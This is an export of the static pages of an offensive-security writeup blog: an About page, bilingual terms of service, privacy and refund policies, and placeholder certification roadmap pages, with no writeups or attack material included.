# The Hack Sparrow
> Hacking writeups, tools, cheatsheets and bug bounty.
Public Ghost content for AI and LLM tooling. This file includes a bounded export of public pages first, then recent public posts.
Append `.md` to any post or page URL to get the content in Markdown (for example, `/example-post.md`).
## Pages
### About this site
URL: https://thehacksparrow.com/about/
Last updated: 2026-08-30T20:05:05.000Z

Hacksparr0w▌
Offensive security & GRC. I break things on HTB, write about how, and automate the repetitive parts with my own tools.
[GitHub →](https://github.com/DonTrebor1?ref=thehacksparrow.com)[Hack The Box →](https://app.hackthebox.com/public/users/2759527?ref=thehacksparrow.com)[LinkedIn →](https://www.linkedin.com/in/robert-bou-poveda-919295248?ref=thehacksparrow.com)[Telegram →](https://t.me/thehacksparrowwriteups?ref=thehacksparrow.com)
The Hack Sparrow is my offensive security notebook: machine writeups, CTF challenges, and bug bounty findings. Here I explain how things break and, above all, why.
You'll find Hack The Box and TryHackMe writeups, techniques, cheat sheets, and bug bounty research. All explained step by step, from recon to shell, so it actually makes sense.
## Skills
Offensive Security
Active DirectoryWeb App PentestingWindows PrivEscLinux PrivEscOSINT & ReconBug Bounty
Studies & Certifications
Master’s in Cybersecurity & AIeJPTv2CEHPCISO/IEC 27001ISO/IEC 42001
Automation
PythonBashREST API IntegrationWeb ScrapingOwn tools: REAPER, BANSHEE, LAZARUS, SENTINEL-GRC
The goal is simple: document what I'm learning in case it helps someone else.

Hacksparr0w▌
Offensive security & GRC. Rompo cosas en HTB, escribo sobre cómo, y automatizo lo repetitivo con mis propias herramientas.
[GitHub →](https://github.com/DonTrebor1?ref=thehacksparrow.com)[Hack The Box →](https://app.hackthebox.com/public/users/2759527?ref=thehacksparrow.com)[LinkedIn →](https://www.linkedin.com/in/robert-bou-poveda-919295248?ref=thehacksparrow.com)[Telegram →](https://t.me/thehacksparrowwriteups?ref=thehacksparrow.com)
The Hack Sparrow es mi cuaderno de seguridad ofensiva: writeups de máquinas, retos CTF y hallazgos de bug bounty. Aquí cuento cómo se rompen las cosas y, sobre todo, por qué.
Vas a encontrar writeups de Hack The Box y TryHackMe, técnicas, cheatsheets, e investigación de bug bounty. Todo explicado paso a paso, del reconocimiento a la shell, para que se entienda de verdad.
## Skills
Offensive Security
Active DirectoryWeb App PentestingWindows PrivEscLinux PrivEscOSINT & ReconBug Bounty
Estudios y Certificaciones
Máster en Ciberseguridad & IAeJPTv2CEHPCISO/IEC 27001ISO/IEC 42001
Automatización
PythonBashIntegración de APIs RESTWeb ScrapingHerramientas propias: REAPER, BANSHEE, LAZARUS, SENTINEL-GRC
El objetivo es simple: documentar lo que voy aprendiendo por si a alguien más le sirve.
### Terms of Service
URL: https://thehacksparrow.com/terms/
Last updated: 2026-07-27T14:49:33.000Z
*Last updated: 27 July 2026*
## 1\. Who we are
The Hack Sparrow is operated by:
- **Legal name:** Roberto Bou Poveda, trading as “The Hack Sparrow” (sole trader / autónomo under Spanish law — “The Hack Sparrow” is this website's brand name, not a separate registered company; the party you contract with is the natural person named here)
- **Tax ID (NIF):** 46991671A
- **Registered address for notices:** Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, Spain
- **Business activity:** subscription-based cybersecurity education content
- **Not registered in Spain's Commercial Registry (Registro Mercantil):** operates under the sole-trader / autónomo regime
- **Contact:** [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) or support@thehacksparrow.com
Spanish law (LSSI, art. 10) requires this identification to be published on any commercial website operated from Spain. These fields must be completed before accepting real payments.
## 2\. Acceptance of these Terms
By creating an account, subscribing to Root Access, or otherwise using this site, you agree to these Terms of Service and to our [Privacy Policy](https://thehacksparrow.com/privacy/) and [Refund Policy](https://thehacksparrow.com/refund-policy/). If you do not agree, do not use the site.
## 3\. Eligibility
You must be at least 18 years old to create an account or purchase a subscription. By registering, you confirm you meet this requirement.
## 4\. The service
The Hack Sparrow publishes cybersecurity writeups, cheatsheets, and tooling guides for educational and research purposes. Access is organized into two tiers:
- **User Access (free):** a public base library of writeups, cheatsheets and tools.
- **Root Access (paid subscription):** the full, unabridged library, released first.
**What membership does not include:** Root Access is access to published content. It does not include personalized support, one-on-one mentoring, on-demand hints for specific challenges, or guaranteed response times to questions. Product-related questions can be sent via [the contact page](https://thehacksparrow.com/contact/) and are answered on a best-effort basis, not as a service commitment.
## 5\. Content is provided "as is"
Writeups describe techniques that worked against a specific target at a specific point in time. Target machines are later retired, patched, or removed by the platforms that host them (see below), and techniques that worked when published may stop working, or a platform may change how a machine behaves. Content is provided "as is" and "as available," without warranty that it is current, complete, or error-free.
## 6\. No affiliation with HackTheBox, TryHackMe or similar platforms
The Hack Sparrow is an independent publication. It is not affiliated with, endorsed by, or operated by Hack The Box, TryHackMe, or any other platform referenced in its content. We are not responsible for the availability, content, pricing, or policies of those third-party platforms, nor for any consequence of your use of them.
## 7\. Intellectual property & redistribution
All writeups, cheatsheets, guides and original tooling published on this site are the intellectual property of The Hack Sparrow unless otherwise credited. Root Access content is licensed to you for personal, individual use only. You may not republish, redistribute, scrape, mirror, or share paid content — in part or in full — outside your own individual account, whether or not for payment. We reserve the right to suspend accounts found doing so.
Public tools referenced on the site (including LAZARUS, REAPER and BANSHEE) are published separately and openly on GitHub under their own license; that license governs the tools themselves, not this Terms of Service.
## 8\. Educational & ethical use
All content is published for educational and authorized-research purposes only. You are solely responsible for ensuring you have explicit authorization before applying any technique described on this site against any system you do not own or are not contractually authorized to test. We accept no liability for misuse.
## 9\. Accounts
Accounts are authenticated via a one-time email link ("magic link") — there are no passwords to set, leak, or reuse. Keep access to the email address on your account secure, since it is the sole means of authentication. You are responsible for all activity under your account.
## 10\. Payments & billing
Root Access subscriptions are billed monthly or annually in advance and renew automatically until cancelled. Payments are processed through **Stripe**, a third-party payment processor: Stripe handles the card transaction and PCI-compliant storage of your payment details, but **Roberto Bou Poveda (the operator identified in Section 1) is the merchant of record** for the sale — the seller, the party you are contracting with, and the party responsible for invoicing, VAT/tax treatment and consumer-protection compliance on this transaction. Refunds are reviewed and approved by us directly (see our [Refund Policy](https://thehacksparrow.com/refund-policy/)), using Stripe's dashboard purely as a payment tool.
We will give reasonable advance notice by email before any price increase takes effect for existing subscribers.
## 11\. Cancellation
You may cancel your subscription at any time from your [account page](https://thehacksparrow.com/account/) or via the Stripe billing portal. Cancellation stops future renewals; **it does not revoke access immediately** — you keep Root Access until the end of the period you already paid for.
## 12\. Refunds
Refunds, including the EU 14-day right of withdrawal, are governed by our [Refund Policy](https://thehacksparrow.com/refund-policy/).
## 13\. Suspension & termination
We may suspend or terminate an account that violates these Terms — in particular the redistribution restriction in Section 7 — with notice where reasonably possible.
## 14\. Changes to these Terms
We may update these Terms from time to time. Material changes will be notified by email or a notice on the site before they take effect.
## 15\. Governing law & jurisdiction
These Terms are governed by Spanish law. Any dispute not resolved informally will be submitted to the courts of Lleida, Spain, without prejudice to any mandatory consumer-protection rights you have in your own country of residence as an EU, UK, US or other consumer, which these Terms do not waive.
## 16\. Contact
Questions about these Terms: [thehacksparrow.com/contact](https://thehacksparrow.com/contact/).
*Última actualización: 27 de julio de 2026*
## 1\. Quiénes somos
The Hack Sparrow está operado por:
- **Nombre legal:** Roberto Bou Poveda, operando como “The Hack Sparrow” (trabajador autónomo conforme a la legislación española — “The Hack Sparrow” es el nombre de marca de este sitio web, no una empresa registrada aparte; la parte con la que contratas es la persona física aquí identificada)
- **NIF:** 46991671A
- **Domicilio a efectos de notificaciones:** Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, España
- **Actividad:** suscripción a contenido educativo de ciberseguridad
- **No inscrito en el Registro Mercantil:** opera bajo el régimen de trabajador autónomo
- **Contacto:** [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) o support@thehacksparrow.com
La legislación española (LSSI, art. 10) exige publicar esta identificación en cualquier sitio web comercial operado desde España. Estos datos deben estar completos antes de aceptar pagos reales.
## 2\. Aceptación de estos Términos
Al crear una cuenta, suscribirte a Root Access o utilizar este sitio de cualquier otra forma, aceptas estos Términos de Servicio y nuestra [Política de Privacidad](https://thehacksparrow.com/privacy/) y [Política de Reembolsos](https://thehacksparrow.com/refund-policy/). Si no estás de acuerdo, no utilices el sitio.
## 3\. Requisitos de edad
Debes tener al menos 18 años para crear una cuenta o adquirir una suscripción. Al registrarte, confirmas que cumples este requisito.
## 4\. El servicio
The Hack Sparrow publica writeups de ciberseguridad, cheatsheets y guías de herramientas con fines educativos y de investigación. El acceso se organiza en dos niveles:
- **User Access (gratuito):** una biblioteca base pública de writeups, cheatsheets y herramientas.
- **Root Access (suscripción de pago):** la biblioteca completa y sin recortes, publicada en primer lugar.
**Qué NO incluye la membresía:** Root Access es acceso al contenido publicado. No incluye soporte personalizado, mentoría individual, pistas bajo demanda para retos concretos ni tiempos de respuesta garantizados a preguntas. Las preguntas relacionadas con el producto pueden enviarse a través de [la página de contacto](https://thehacksparrow.com/contact/) y se responden según disponibilidad, no como un compromiso de servicio.
## 5\. El contenido se proporciona "tal cual"
Los writeups describen técnicas que funcionaron contra un objetivo concreto en un momento concreto. Las máquinas objetivo son posteriormente retiradas, parcheadas o eliminadas por las plataformas que las alojan (ver más abajo), y las técnicas que funcionaban en el momento de su publicación pueden dejar de funcionar, o una plataforma puede cambiar el comportamiento de una máquina. El contenido se proporciona "tal cual" y "según disponibilidad", sin garantía de que esté actualizado, completo o libre de errores.
## 6\. Sin afiliación con HackTheBox, TryHackMe u otras plataformas similares
The Hack Sparrow es una publicación independiente. No está afiliado con, respaldado por, ni operado por Hack The Box, TryHackMe, ni ninguna otra plataforma mencionada en su contenido. No somos responsables de la disponibilidad, contenido, precios o políticas de esas plataformas de terceros, ni de ninguna consecuencia derivada de tu uso de las mismas.
## 7\. Propiedad intelectual y redistribución
Todos los writeups, cheatsheets, guías y herramientas originales publicados en este sitio son propiedad intelectual de The Hack Sparrow salvo que se indique lo contrario. El contenido de Root Access se te licencia para uso personal e individual únicamente. No puedes republicar, redistribuir, hacer scraping, duplicar (mirror) ni compartir contenido de pago — en parte o en su totalidad — fuera de tu propia cuenta individual, con o sin ánimo de lucro. Nos reservamos el derecho de suspender las cuentas que incurran en ello.
Las herramientas públicas mencionadas en el sitio (incluyendo LAZARUS, REAPER y BANSHEE) se publican por separado y abiertamente en GitHub bajo su propia licencia; dicha licencia rige las herramientas en sí, no estos Términos de Servicio.
## 8\. Uso educativo y ético
Todo el contenido se publica exclusivamente con fines educativos y de investigación autorizada. Eres el único responsable de asegurarte de contar con autorización explícita antes de aplicar cualquier técnica descrita en este sitio contra cualquier sistema que no sea de tu propiedad o para el que no estés contractualmente autorizado a realizar pruebas. No aceptamos responsabilidad alguna por un uso indebido.
## 9\. Cuentas
Las cuentas se autentican mediante un enlace de un solo uso enviado por correo electrónico ("magic link") — no hay contraseñas que establecer, filtrar o reutilizar. Mantén segura la dirección de correo asociada a tu cuenta, ya que es el único medio de autenticación. Eres responsable de toda actividad realizada bajo tu cuenta.
## 10\. Pagos y facturación
Las suscripciones a Root Access se facturan mensual o anualmente por adelantado y se renuevan automáticamente hasta su cancelación. Los pagos se procesan a través de **Stripe**, un procesador de pagos externo: Stripe gestiona la transacción con tarjeta y el almacenamiento conforme al estándar PCI de tus datos de pago, pero **Roberto Bou Poveda (el operador identificado en la Sección 1) es el comerciante registrado** de la venta — el vendedor, la parte con la que contratas, y el responsable de la facturación, el tratamiento del IVA/impuestos y el cumplimiento de la normativa de protección al consumidor en esta transacción. Los reembolsos son revisados y aprobados directamente por nosotros (ver nuestra [Política de Reembolsos](https://thehacksparrow.com/refund-policy/)), utilizando el panel de Stripe únicamente como herramienta de pago.
Notificaremos con antelación razonable por correo electrónico antes de que entre en vigor cualquier subida de precio para suscriptores existentes.
## 11\. Cancelación
Puedes cancelar tu suscripción en cualquier momento desde tu [página de cuenta](https://thehacksparrow.com/account/) o a través del portal de facturación de Stripe. La cancelación detiene las renovaciones futuras; **no revoca el acceso de forma inmediata** — conservas Root Access hasta el final del periodo que ya has pagado.
## 12\. Reembolsos
Los reembolsos, incluyendo el derecho de desistimiento de 14 días de la UE, se rigen por nuestra [Política de Reembolsos](https://thehacksparrow.com/refund-policy/).
## 13\. Suspensión y terminación
Podemos suspender o cancelar una cuenta que infrinja estos Términos — en particular la restricción de redistribución de la Sección 7 — con previo aviso cuando sea razonablemente posible.
## 14\. Cambios en estos Términos
Podemos actualizar estos Términos de vez en cuando. Los cambios materiales se notificarán por correo electrónico o mediante un aviso en el sitio antes de que entren en vigor.
## 15\. Ley aplicable y jurisdicción
Estos Términos se rigen por la legislación española. Cualquier disputa que no se resuelva de forma amistosa se someterá a los juzgados y tribunales de Lleida, España, sin perjuicio de cualquier derecho imperativo de protección al consumidor que tengas en tu propio país de residencia como consumidor de la UE, el Reino Unido, EE. UU. u otro, que estos Términos no renuncian.
## 16\. Contacto
Preguntas sobre estos Términos: [thehacksparrow.com/contact](https://thehacksparrow.com/contact/).
### Privacy Policy
URL: https://thehacksparrow.com/privacy/
Last updated: 2026-07-27T14:49:34.000Z
*Last updated: 27 July 2026*
## 1\. Data controller
- **Legal name:** Roberto Bou Poveda, trading as “The Hack Sparrow” (sole trader / autónomo under Spanish law — not a separate registered company)
- **Tax ID (NIF):** 46991671A
- **Address:** Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, Spain
- **Business activity:** subscription-based cybersecurity education content
- **Contact:** support@thehacksparrow.com / [thehacksparrow.com/contact](https://thehacksparrow.com/contact/)
Required under the GDPR and Spain's LSSI. This section cannot be left as placeholders once the site accepts real payments.
## 2\. What data we collect
| Data | When | Why |
| --------------------------------------------- | ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Email address | Sign-up / sign-in | Sole login credential (magic link) and billing contact |
| Name | Sign-up (optional) | Displayed to you in your own account |
| IP address → country & region | Every sign-up and every magic-link sign-in | Our platform (Ghost) automatically sends your IP address to a third-party lookup service to resolve a country/region, which is then stored against your account. This happens automatically and cannot currently be turned off from our settings. We do not display individual members' country or IP publicly — see Section 4. |
| Newsletter subscription & open/click activity | Only if you opt in at sign-up or in your account | Send you new-content emails; measure whether they're opened/clicked, so we know what's worth sending. You can unsubscribe or turn this off any time. |
| Payment details | When you subscribe to Root Access | Processed entirely by Stripe — we never see or store your card number. |
| Contact-form submissions | When you use [/contact/](https://thehacksparrow.com/contact/) | Name, email and message are relayed to our support inbox to answer you. |
## 3\. Legal basis for processing
- **Performance of a contract** — account creation, authentication, and delivering the membership you subscribed to.
- **Legitimate interest** — fraud and abuse prevention (spam-protection checks on the contact form, basic geolocation), and keeping the service running securely.
- **Consent** — the newsletter. It is opt-in only: nothing subscribes you automatically, and you can withdraw consent at any time from your account.
- **Legal obligation** — tax and accounting records for paid subscriptions.
## 4\. Who we share data with
We don't sell your data. It is shared only with the service providers that make the site work, each acting under its own agreement with us:
| Processor | What for | Where |
| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Stripe | Payment processing. Stripe acts as our data processor for your payment details; Roberto Bou Poveda remains the merchant of record and data controller for the sale itself — see our [Terms of Service](https://thehacksparrow.com/terms/), Section 10 | United States, with EU standard contractual clauses (SCCs) as Stripe's standard safeguard — *\[confirm against Stripe's current Data Processing Agreement\]* |
| Mailgun | Transactional email (magic links) and newsletter delivery | EU region (our account is configured on Mailgun's EU infrastructure specifically for this reason) |
| Cloudflare | DNS, CDN/reverse proxy in front of the whole site, and Turnstile spam protection on the contact form | Global network — Cloudflare is a US company; transfers rely on Cloudflare's SCCs — *\[confirm current DPA\]* |
| Hetzner Online GmbH | Hosts the server this site runs on | Helsinki, Finland (EU/EEA) |
| geojs.io | Resolves your IP address to a country/region at sign-up (see Section 2) — invoked automatically by our platform software, not something we configured directly | Not currently verified by us — *flagged for legal review before launch* |
| Gravatar (Automattic) | If you have a Gravatar account linked to your email, your avatar is fetched from Gravatar to display in your account page. We send a one-way hash of your email, not the address itself. | United States |
## 5\. Cookies
We do not run analytics or advertising cookies of any kind on this site today. The only cookies in use are strictly necessary ones, exempt from consent under EU ePrivacy rules because they exist solely to provide a feature you directly requested:
- A session cookie, set only once you log in as a member, so the site remembers you're signed in.
- Cloudflare Turnstile may set a security cookie when you submit the contact form, to confirm you're not a bot.
If we ever add analytics or marketing cookies, we will add a proper opt-in consent banner before doing so — not an "accept" banner for cookies that are already running.
## 6\. How long we keep data
We keep account data for as long as your account is active. If you delete your account, we remove personal data within a reasonable period, except where we're legally required to keep billing records (typically several years, for tax purposes).
## 7\. Your rights
Under the GDPR you can ask us to: access the data we hold on you, correct it, delete it, restrict or object to processing, and receive a copy in a portable format. Where processing is based on consent (the newsletter), you can withdraw it at any time. To exercise any of these, contact us at support@thehacksparrow.com. You also have the right to lodge a complaint with the Spanish data protection authority (AEPD, [aepd.es](https://www.aepd.es/?ref=thehacksparrow.com)) or your own country's equivalent.
## 8\. Age
This site is not directed at anyone under 18\. We do not knowingly collect data from minors.
## 9\. Changes to this policy
We'll update this page as the site changes, and notify you by email of any material change.
## 10\. Contact
[thehacksparrow.com/contact](https://thehacksparrow.com/contact/) or support@thehacksparrow.com.
*Última actualización: 27 de julio de 2026*
## 1\. Responsable del tratamiento
- **Nombre legal:** Roberto Bou Poveda, operando como “The Hack Sparrow” (trabajador autónomo conforme a la legislación española — no una empresa registrada aparte)
- **NIF:** 46991671A
- **Domicilio:** Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, España
- **Actividad:** suscripción a contenido educativo de ciberseguridad
- **Contacto:** support@thehacksparrow.com / [thehacksparrow.com/contact](https://thehacksparrow.com/contact/)
Exigido por el RGPD y la LSSI española. Esta sección no puede dejarse con datos de ejemplo una vez el sitio acepte pagos reales.
## 2\. Qué datos recopilamos
| Dato | Cuándo | Para qué |
| -------------------------------------------------------- | --------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Dirección de correo electrónico | Registro / inicio de sesión | Única credencial de acceso (magic link) y contacto de facturación |
| Nombre | Registro (opcional) | Se muestra en tu propia cuenta |
| Dirección IP → país y región | Cada registro y cada inicio de sesión por magic link | Nuestra plataforma (Ghost) envía automáticamente tu dirección IP a un servicio externo de resolución para obtener un país/región, que se almacena junto a tu cuenta. Esto ocurre de forma automática y actualmente no se puede desactivar desde nuestros ajustes. No mostramos públicamente el país o la IP de ningún miembro — ver Sección 4. |
| Suscripción a la newsletter y actividad de apertura/clic | Solo si te suscribes voluntariamente al registrarte o desde tu cuenta | Enviarte correos sobre contenido nuevo; medir si se abren/hacen clic, para saber qué merece la pena enviar. Puedes darte de baja o desactivarlo en cualquier momento. |
| Datos de pago | Al suscribirte a Root Access | Procesados íntegramente por Stripe — nunca vemos ni almacenamos el número de tu tarjeta. |
| Envíos del formulario de contacto | Al usar [/contact/](https://thehacksparrow.com/contact/) | Nombre, correo y mensaje se reenvían a nuestra bandeja de soporte para responderte. |
## 3\. Base legal del tratamiento
- **Ejecución de un contrato** — creación de cuenta, autenticación y prestación de la membresía a la que te has suscrito.
- **Interés legítimo** — prevención de fraude y abuso (comprobaciones antispam en el formulario de contacto, geolocalización básica), y mantener el servicio funcionando de forma segura.
- **Consentimiento** — la newsletter. Es exclusivamente de suscripción voluntaria (opt-in): nada te suscribe automáticamente, y puedes retirar el consentimiento en cualquier momento desde tu cuenta.
- **Obligación legal** — registros fiscales y contables de las suscripciones de pago.
## 4\. Con quién compartimos datos
No vendemos tus datos. Solo se comparten con los proveedores de servicios que hacen funcionar el sitio, cada uno bajo su propio acuerdo con nosotros:
| Encargado | Para qué | Dónde |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Stripe | Procesamiento de pagos. Stripe actúa como encargado del tratamiento de tus datos de pago; Roberto Bou Poveda sigue siendo el comerciante registrado y responsable del tratamiento de la venta en sí — ver nuestros [Términos de Servicio](https://thehacksparrow.com/terms/), Sección 10 | Estados Unidos, con cláusulas contractuales tipo de la UE (SCC) como garantía estándar de Stripe — *\[confirmar contra el Acuerdo de Tratamiento de Datos vigente de Stripe\]* |
| Mailgun | Correo transaccional (magic links) y envío de la newsletter | Región UE (nuestra cuenta está configurada específicamente en la infraestructura europea de Mailgun por este motivo) |
| Cloudflare | DNS, CDN/proxy inverso delante de todo el sitio, y protección antispam Turnstile en el formulario de contacto | Red global — Cloudflare es una empresa estadounidense; las transferencias se basan en las SCC de Cloudflare — *\[confirmar DPA vigente\]* |
| Hetzner Online GmbH | Aloja el servidor donde corre este sitio | Helsinki, Finlandia (UE/EEE) |
| geojs.io | Resuelve tu dirección IP a un país/región al registrarte (ver Sección 2) — invocado automáticamente por el software de nuestra plataforma, no algo que hayamos configurado directamente | No verificado actualmente por nosotros — *señalado para revisión legal antes del lanzamiento* |
| Gravatar (Automattic) | Si tienes una cuenta de Gravatar vinculada a tu correo, tu avatar se obtiene de Gravatar para mostrarlo en tu página de cuenta. Enviamos un hash unidireccional de tu correo, no la dirección en sí. | Estados Unidos |
## 5\. Cookies
Hoy no utilizamos cookies de analítica ni publicitarias de ningún tipo en este sitio. Las únicas cookies en uso son estrictamente necesarias, exentas de consentimiento bajo la normativa ePrivacy de la UE porque existen únicamente para prestar una función que has solicitado directamente:
- Una cookie de sesión, establecida solo cuando inicias sesión como miembro, para que el sitio recuerde que has iniciado sesión.
- Cloudflare Turnstile puede establecer una cookie de seguridad cuando envías el formulario de contacto, para confirmar que no eres un bot.
Si alguna vez añadimos cookies de analítica o marketing, incorporaremos un banner de consentimiento previo (opt-in) real antes de hacerlo — no un banner de "aceptar" para cookies que ya estén funcionando.
## 6\. Cuánto tiempo conservamos los datos
Conservamos los datos de tu cuenta mientras esté activa. Si eliminas tu cuenta, eliminamos los datos personales en un plazo razonable, salvo cuando estemos legalmente obligados a conservar registros de facturación (habitualmente varios años, por motivos fiscales).
## 7\. Tus derechos
Bajo el RGPD puedes solicitarnos: acceder a los datos que tenemos sobre ti, corregirlos, eliminarlos, limitar u oponerte al tratamiento, y recibir una copia en un formato portable. Cuando el tratamiento se base en el consentimiento (la newsletter), puedes retirarlo en cualquier momento. Para ejercer cualquiera de estos derechos, contáctanos en support@thehacksparrow.com. También tienes derecho a presentar una reclamación ante la Agencia Española de Protección de Datos (AEPD, [aepd.es](https://www.aepd.es/?ref=thehacksparrow.com)) o el organismo equivalente de tu país.
## 8\. Edad
Este sitio no está dirigido a menores de 18 años. No recopilamos conscientemente datos de menores.
## 9\. Cambios en esta política
Actualizaremos esta página a medida que el sitio cambie, y te notificaremos por correo electrónico cualquier cambio material.
## 10\. Contacto
[thehacksparrow.com/contact](https://thehacksparrow.com/contact/) o support@thehacksparrow.com.
### Membership
URL: https://thehacksparrow.com/membership/
Last updated: 2026-07-15T23:59:58.000Z
The Hack Sparrow ofrece contenido abierto y contenido exclusivo para miembros.
## Gratis
Acceso a los writeups y recursos públicos del sitio.
## Miembro
Acceso completo a writeups premium, técnicas avanzadas y reportes detallados de bug bounty.
*Los planes y precios estarán disponibles muy pronto.*
### Refund Policy
URL: https://thehacksparrow.com/refund-policy/
Last updated: 2026-07-27T14:49:35.000Z
*Last updated: 27 July 2026*
## 1\. If you're in the EU: your 14-day right of withdrawal
As a consumer in the European Union, you normally have the right to withdraw from an online purchase within **14 days**, without giving a reason, and get a full refund.
For digital content like Root Access — where you get access immediately, before the 14 days are up — EU law lets us ask you to give up that right in exchange for immediate access. **We only treat that right as waived if you explicitly agreed to it at checkout** (a separate checkbox, not pre-ticked, stating that you consent to immediate access and acknowledge you lose the withdrawal right once it begins). If you didn't see and tick that checkbox when you subscribed, your 14-day right still applies in full, and we will refund you in full if you ask within that window.
## 2\. After the 14 days, or outside the EU
Once the withdrawal window has passed (or been validly waived), or if you're subscribing from outside the EU, refunds are not automatic but we do consider them — for example if the service was unavailable due to a fault on our side, or you were charged in error. Email [support](https://thehacksparrow.com/contact/) and we'll look at it in good faith. We do not offer refunds simply because you changed your mind after using the content extensively.
## 3\. Cancelling vs. refunding
These are different things:
- **Cancelling** your subscription stops future renewals. You keep Root Access until the end of the period you already paid for — see our [Terms of Service](https://thehacksparrow.com/terms/), Section 11.
- **Refunding** returns money already charged, per this policy.
You can cancel any time from your [account page](https://thehacksparrow.com/account/).
## 4\. How to request a refund
Email us at [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) with the email address on your account and the reason for your request. We review and approve refunds ourselves — Stripe is our payment processor, not an independent party you need to contact separately for a refund. Approved refunds are returned to your original payment method; processing times depend on your bank or card provider.
## 5\. Contact
This policy is issued by Roberto Bou Poveda (NIF 46991671A), trading as “The Hack Sparrow”, Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, Spain. [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) or support@thehacksparrow.com.
*Última actualización: 27 de julio de 2026*
## 1\. Si estás en la UE: tu derecho de desistimiento de 14 días
Como consumidor en la Unión Europea, normalmente tienes derecho a desistir de una compra online en un plazo de **14 días**, sin dar ninguna razón, y a recibir un reembolso completo.
Para contenido digital como Root Access — donde obtienes el acceso de inmediato, antes de que transcurran los 14 días — la normativa de la UE nos permite pedirte que renuncies a ese derecho a cambio del acceso inmediato. **Solo consideramos ese derecho renunciado si lo aceptaste explícitamente en el checkout** (una casilla independiente, no premarcada, indicando que consientes el acceso inmediato y que reconoces que pierdes el derecho de desistimiento en cuanto comienza). Si no viste ni marcaste esa casilla al suscribirte, tu derecho de 14 días sigue aplicándose en su totalidad, y te reembolsaremos íntegramente si lo solicitas dentro de ese plazo.
## 2\. Después de los 14 días, o fuera de la UE
Una vez transcurrido el plazo de desistimiento (o renunciado válidamente), o si te suscribes desde fuera de la UE, los reembolsos no son automáticos, pero los consideramos de buena fe — por ejemplo, si el servicio no estuvo disponible por un fallo nuestro, o si se te cobró por error. Escribe a [soporte](https://thehacksparrow.com/contact/) y lo revisaremos de buena fe. No ofrecemos reembolsos simplemente porque hayas cambiado de opinión tras haber usado el contenido extensamente.
## 3\. Cancelar frente a reembolsar
Son cosas distintas:
- **Cancelar** tu suscripción detiene las renovaciones futuras. Conservas Root Access hasta el final del periodo que ya has pagado — ver nuestros [Términos de Servicio](https://thehacksparrow.com/terms/), Sección 11.
- **Reembolsar** devuelve dinero ya cobrado, conforme a esta política.
Puedes cancelar en cualquier momento desde tu [página de cuenta](https://thehacksparrow.com/account/).
## 4\. Cómo solicitar un reembolso
Escríbenos a [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) con el correo de tu cuenta y el motivo de tu solicitud. Revisamos y aprobamos los reembolsos nosotros mismos — Stripe es nuestro procesador de pagos, no una parte independiente a la que debas contactar por separado para un reembolso. Los reembolsos aprobados se devuelven al método de pago original; los tiempos de procesamiento dependen de tu banco o emisor de la tarjeta.
## 5\. Contacto
Esta política es emitida por Roberto Bou Poveda (NIF 46991671A), operando como “The Hack Sparrow”, Calle Unic nº 7, 25798 Calbinyà, Les Valls del Valira, Lleida, España. [thehacksparrow.com/contact](https://thehacksparrow.com/contact/) o support@thehacksparrow.com.
### Sign In
URL: https://thehacksparrow.com/signin/
Last updated: 2026-07-23T14:24:31.000Z
_No content available._
### Account
URL: https://thehacksparrow.com/account/
Last updated: 2026-07-23T14:24:32.000Z
_No content available._
### Contact
URL: https://thehacksparrow.com/contact/
Last updated: 2026-07-23T14:24:32.000Z
_No content available._
### Roadmaps
URL: https://thehacksparrow.com/roadmaps/
Last updated: 2026-08-03T19:36:05.000Z
Curated study roadmaps for OSCP, OSEP, OSWE, CPTS, eCPPT, eJPT and skill-based tracks (Active Directory, Linux/Windows privesc, web exploitation), each mapped to real HackTheBox machines with write-ups as you unlock them.
*This page is under construction — the full roadmap grid is coming soon.*
Roadmaps de estudio para OSCP, OSEP, OSWE, CPTS, eCPPT, eJPT y rutas por habilidad (Active Directory, privesc Linux/Windows, explotación web), cada una mapeada a máquinas reales de HackTheBox con writeup en cuanto se desbloquean.
*Esta página está en construcción — la rejilla completa llega pronto.*
### OSCP
URL: https://thehacksparrow.com/oscp/
Last updated: 2026-09-23T10:57:00.000Z
*The OSCP roadmap is under construction — the full machine list is coming soon.*
*El roadmap de OSCP está en construcción — la lista completa de máquinas llega pronto.*
### OSEP
URL: https://thehacksparrow.com/osep/
Last updated: 2026-09-23T10:56:59.000Z
*The OSEP roadmap is under construction — the full machine list is coming soon.*
*El roadmap de OSEP está en construcción — la lista completa de máquinas llega pronto.*
### OSWE
URL: https://thehacksparrow.com/oswe/
Last updated: 2026-09-23T10:56:59.000Z
*The OSWE roadmap is under construction — the full machine list is coming soon.*
*El roadmap de OSWE está en construcción — la lista completa de máquinas llega pronto.*
### CPTS
URL: https://thehacksparrow.com/cpts/
Last updated: 2026-09-23T10:56:58.000Z
*The CPTS roadmap is under construction — the full machine list is coming soon.*
*El roadmap de CPTS está en construcción — la lista completa de máquinas llega pronto.*
### eCPPT
URL: https://thehacksparrow.com/ecppt/
Last updated: 2026-09-23T10:56:57.000Z
*The eCPPT roadmap is under construction — the full machine list is coming soon.*
*El roadmap de eCPPT está en construcción — la lista completa de máquinas llega pronto.*
### eJPT
URL: https://thehacksparrow.com/ejpt/
Last updated: 2026-09-23T10:56:56.000Z
*The eJPT roadmap is under construction — the full machine list is coming soon.*
*El roadmap de eJPT está en construcción — la lista completa de máquinas llega pronto.*
### Active Directory
URL: https://thehacksparrow.com/active-directory/
Last updated: 2026-09-23T10:56:55.000Z
*The Active Directory roadmap is under construction — the full machine list is coming soon.*
